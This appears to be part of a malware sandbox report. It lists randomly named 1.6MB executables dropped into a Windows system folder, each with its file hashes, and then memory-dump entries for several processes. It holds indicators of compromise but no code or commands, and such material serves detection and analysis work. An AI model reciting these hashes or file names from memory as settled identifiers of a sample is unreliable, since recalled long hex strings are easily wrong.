2076040f46d26fe37bfe27b4dedc3e05b6fd642c251c5511362e3e1c52beadcd6286f769c8ba7f57dc6c3739e0aae5dc1ce658840f7afda2981f4bda4c14da1d

Download Submit
C:\Windows\system\rrTPxMb.exe

Filesize
1.6MB

MD5
653d6af8953031947ad3d0fc2e53d3ae

SHA1
802ad0042ebd726ed38637774b30fdc8ce9cb0a4

SHA256
f56a8bf44a6de886b8edb280e02a0226f21d7d3d77f6fc3460943d7066892b24

SHA512
67d6ccb55e8c2653237bbc2bc090da04424ddc610f572333e7afc207527f3cf2cd705fa7079074594313229f52fe4cd324ca0c3541f1fb296399ea99719364bc

Download Submit
C:\Windows\system\sVkCJQj.exe

Filesize
1.6MB

MD5
8f18970c52c4494fae75223477cab08f

SHA1
29364df50d1becdba5cee3f893b6d862babf86aa

SHA256
3f9be4638d1036eb8255aaae32a1626c7fcb82aad68193d447477570f754a289

SHA512
2be4e697d257d9d703ff4ee28e026f660e3e4333c87a25588044a9ac8e824ee4d790054afab6a988897ac92a7aa435017a70164cee0c54b8e88511e5f1309859

Download Submit
C:\Windows\system\wafmyMM.exe

Filesize
1.6MB

MD5
709b334284b28e7ac29625077b98d73b

SHA1
dd5dee37548a808e9ba2944008d7e7bcfbff95f6

SHA256
3a6f5665df4d7da7f2487a13a00ca25b20d325e10de3349902319d577b2c686b

SHA512
42b281599f6eaec293430ad0bf058cc1fc2d0a2b815a3a15ab1961e8ebe4bdc5b36542424a57985b9f4440cd7124e623bdda546e59ed084e49a19c1b565d85d4

Download Submit
C:\Windows\system\xlIDvCP.exe

Filesize
1.6MB

MD5
b743b2cecbb7ec4d8e0dc39a8817556c

SHA1
62aaa515731a244255ba5f881559f3a4e040b761

SHA256
ae853ed6a0e146b7bd76e46ca3218c6aa6f99b8c6d9036fc7851f2dcc9e3ef04

SHA512
d7fd760d21af33707def8a98f64e61e7a89f1e509df4a12a87b04517c1ed83feec357f70f99cf815ee9fbb44849aebf8d3cf3cf6fefee2583d56edd91c7afde9

Download Submit
C:\Windows\system\xnJwkMz.exe

Filesize
1.6MB

MD5
a9e0da9fb43f71ddac8b5e84586f5f58

SHA1
2f3151dc6ed353256b835037034ec095b23e4e01

SHA256
5fe6413b4bf2c83c6ea7e189795df8a2abdfaf5978dd0a11b724c9633844096e

SHA512
88914d8894c6f8cad9eb06a624b7969b7cb28c641e00c606c0f3565c3cbc8dba54a93d1e34592b05e456555b8913fce840905e548cff1201771a6ffbe4e2b003

Download Submit
C:\Windows\system\xwTCitN.exe

Filesize
1.6MB

MD5
abcb7f2e54106494f130de1799111a14

SHA1
853a1bf91f8c844d07f0c4c4b85a440e8de1cd9e

SHA256
b80bf4809a43032c1bdc82a81ecc0cf4282da19a2a6542346c095f75d34e0205

SHA512
d64d892ec95a891a1a50fb16b353a4cab675f341debba5d30bba6442d058474b56762d7beee27f9b2b6e3f2878d4cd0e575d403cd2d8dd6c9718c33aac0b49a4

Download Submit
C:\Windows\system\zckHPgl.exe

Filesize
1.6MB

MD5
51df84e8f71b9d72be1e54f8d3c6fd13

SHA1
bfa116e269b840cb9ab42347aa903ec6b4fd37a1

SHA256
36fc147be3b8fafada9b37d6605dd8583c330e1f2d40b80ed57b6b7851b59dc5

SHA512
6b5c38adb914235fde34d0c889a7a752b88554b1527bf2a3242cee2031810bc586fa4c7be2cdc1b258601fc4842c94d1c12b98006cc55328eb2beebef3a08d44

Download Submit
\Windows\system\EZjkoiU.exe

Filesize
1.6MB

MD5
2ea30fc24f842b7456e49babe083015d

SHA1
bdda80a9e391d702f2c065034348d85f15e59868

SHA256
23edbc387f2d91c54f2f4af8cea60c1d1bef573fdc2736c2894a951fe1e1b9cf

SHA512
ee27621bf845da227a3cf8e76ffa51123bf1020d8abc4a654239f07f54497525fd1dcf489c08967232c128d0136d2a04e4c33e0fd2a0acf7dd3b531578570732

Download Submit
\Windows\system\LdRPGjP.exe

Filesize
1.6MB

MD5
98b302fb3dded510e0c71a83febe55aa

SHA1
e72ce2eafafdb9d9b978335964fbed96b3301005

SHA256
6f3e269501fbc36fa147f483c7c89016b96386c623e0255252c2267a1648113d

SHA512
371a2582f923291042dc0578c5e0925625307a8dbfe25462e1a5d2a40fc5023b8a75ae159d923b13f51037fdb445cc33531d952cf3e364d129f087b9909c6eba

Download Submit
\Windows\system\XeTTaiR.exe

Filesize
1.6MB

MD5
d3495cd64fcdda96bcc9a6c7418a8780

SHA1
73fb5a817129b65fd8112358124829809f24165c

SHA256
3b3cb0fe811076cb583e100c93193e27fd69abf4fbcae7ee933e9682d86765b4

SHA512
70afe79168dd6b7f472406d5662c4774a903c3c0ba6648410763596605777bdd7e3f07b9f4ec724f0b8177cb362b8000c78bd941c34301da1fe439168822007d

Download Submit
\Windows\system\dfVrwEz.exe

Filesize
1.6MB

MD5
b4babd9b505e1e61e3b46438753d66b1

SHA1
9f430211789b1a7ed273696c74de0ebca387f5df

SHA256
ed453d5ca038675a62278251635d75e44558db83103cb79e8d3fc888ee848a51

SHA512
926adc81d66e5cb9524b24057571e860cdf93ba6652b4917bc8b6911182a0bda439f6864945ac1f444825a732d729b00ea2c6c065390800203af90f00c7c28d9

Download Submit
\Windows\system\fvJlADZ.exe

Filesize
1.6MB

MD5
b404f4a4a6a6a67f17cb52c4f9895bcb

SHA1
9aab96b5860d0fb596d1523218470bd7b9409fa7

SHA256
83f89b72b88c4ac55fb09d1e7256d2168c0b846f457a75fcb7b537aa53ca042c

SHA512
156c60859e140577260c41d31b135d192218cea265395a3545c4d1ec97683e0c29da3e2309a825a8f505ab126bfeb6f22b0c44368efbbee155ca739c5f9530bc

Download Submit
\Windows\system\syEkNhh.exe

Filesize
1.6MB

MD5
e6ba38630a8613bab67ca975d4f9c8c7

SHA1
a700490a41c84575144487de5bfcc78836d56cce

SHA256
090874c7750570a3801126fdee81c0cf4ad258f996685b20914c837a6797c8d8

SHA512
54b7b9ce0a010eb751c765d7cc9c64053f391fad763273730f766bee04f0b137b0a98f432b189e63495cdc5bc2ddb1d277e49b5766d387e8e207a442a0a6a834

Download Submit
\Windows\system\trSBuLh.exe

Filesize
1.6MB

MD5
a7170c16d3280b8c233a32a4fe2cb4a9

SHA1
3cc7b0cdcb4f3dd816c2ee31c32c9a2152d542c0

SHA256
bbece1258d9858100c97dfd7fcc07d00ed9e8c7dc4c4ab304bae90a7121e087a

SHA512
0105a7d0d3bdecc01097f9b58da1e2a3e7051f1ff70d1d5b3022fdf794664d35013d41b793637926dbce5e04b926131318b61c78fac4b716903963849c640cb4

Download Submit
\Windows\system\ufrFAGv.exe

Filesize
1.6MB

MD5
a7b60bc78402d5eb96fcec1755995b73

SHA1
43f2bdd6cc2da060d98089217e9826be09bb6c25

SHA256
6b7c644d59a34531b712ebf667b41e8aa36606b1e1b03e07043f3e30b1f1940a

SHA512
1a82069a4e1eefb8a2b78f88aa14d31024841dfe7ae43868a95468f5659916e6533268ef46cf505b18b3762f7db8d1fdcaed40ee92262ace3cde57a2749468bb

Download Submit
memory/1264-6-0x000000013F760000-0x000000013FB52000-memory.dmp

Filesize
3.9MB

Download
memory/1264-150-0x000000013FC10000-0x0000000140002000-memory.dmp

Filesize
3.9MB

Download
memory/1264-0-0x0000000000080000-0x0000000000090000-memory.dmp

Filesize
64KB

Download
memory/1264-164-0x0000000003090000-0x0000000003482000-memory.dmp

Filesize
3.9MB

Download
memory/1264-8-0x000000013FE70000-0x0000000140262000-memory.dmp

Filesize
3.9MB

Download
memory/1264-168-0x000000013FD90000-0x0000000140182000-memory.dmp

Filesize
3.9MB

Download
memory/1264-152-0x0000000003090000-0x0000000003482000-memory.dmp

Filesize
3.9MB

Download
memory/1264-166-0x0000000003090000-0x0000000003482000-memory.dmp

Filesize
3.9MB

Download
memory/1264-20-0x0000000003090000-0x0000000003482000-memory.dmp

Filesize
3.9MB

Download
memory/1264-163-0x0000000003090000-0x0000000003482000-memory.dmp

Filesize
3.9MB

Download
memory/1264-170-0x0000000003090000-0x0000000003482000-memory.dmp

Filesize
3.9MB

Download
memory/1264-161-0x0000000003090000-0x0000000003482000-memory.dmp

Filesize
3.9MB

Download
memory/1264-148-0x0000000003090000-0x0000000003482000-memory.dmp

Filesize
3.9MB

Download
memory/1508-5510-0x000000013FD90000-0x0000000140182000-memory.dmp

Filesize
3.9MB

Download
memory/1508-169-0x000000013FD90000-0x0000000140182000-memory.dmp

Filesize
3.9MB

Download
memory/1756-7-0x000000013FE70000-0x0000000140262000-memory.dmp

Filesize
3.9MB

Download
memory/1756-5498-0x000000013FE70000-0x0000000140262000-memory.dmp

Filesize
3.9MB

Download
memory/2184-145-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

Filesize
9.6MB

Download
memory/2184-21-0x000007FEF5BFE000-0x000007FEF5BFF000-memory.dmp

Filesize
4KB

Download
memory/2184-202-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2184-203-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/2528-160-0x000000013F110000-0x000000013F502000-memory.dmp

Filesize
3.9MB

Download
memory/2528-5513-0x000000013F110000-0x000000013F502000-memory.dmp

Filesize
3.9MB

Download
memory/2556-5480-0x000000013FCE0000-0x00000001400D2000-memory.dmp

Filesize
3.9MB

Download
memory/2556-162-0x000000013FCE0000-0x00000001400D2000-memory.dmp

Filesize
3.9MB

Download
memory/2572-5514-0x000000013F650000-0x000000013FA42000-memory.dmp

Filesize
3.9MB

Download
memory/2572-165-0x000000013F650000-0x000000013FA42000-memory.dmp

Filesize
3.9MB

Download
memory/2616-5493-0x000000013FC10000-0x0000000140002000-memory.dmp

Filesize
3.9MB

Download
memory/2616-151-0x000000013FC10000-0x0000000140002000-memory.dmp

Filesize
3.9MB

Download
memory/2632-149-0x000000013F9C0000-0x000000013FDB2000-memory.dmp

Filesize
3.9MB

Download
memory/2632-6455-0x000000013F9C0000-0x000000013FDB2000-memory.dmp

Filesize
3.9MB

Download
memory/2656-147-0x000000013F810000-0x000000013FC02000-memory.dmp

Filesize
3.9MB

Download
memory/2656-5502-0x000000013F810000-0x000000013FC02000-memory.dmp

Filesize
3.9MB

Download
memory/2728-174-0x000000013F6F0000-0x000000013FAE2000-memory.dmp

Filesize
3.9MB

Download
memory/2728-6475-0x000000013F6F0000-0x000000013FAE2000-memory.dmp

Filesize
3.9MB

Download
memory/2736-167-0x000000013F390000-0x000000013F782000-memory.dmp

Filesize
3.9MB

Download
memory/2736-6442-0x000000013F390000-0x000000013F782000-memory.dmp

Filesize
3.9MB

Download
memory/2756-153-0x000000013F670000-0x000000013FA62000-memory.dmp

Filesize
3.9MB

Download
memory/2756-6463-0x000000013F670000-0x000000013FA62000-memory.dmp

Filesize
3.9MB

Download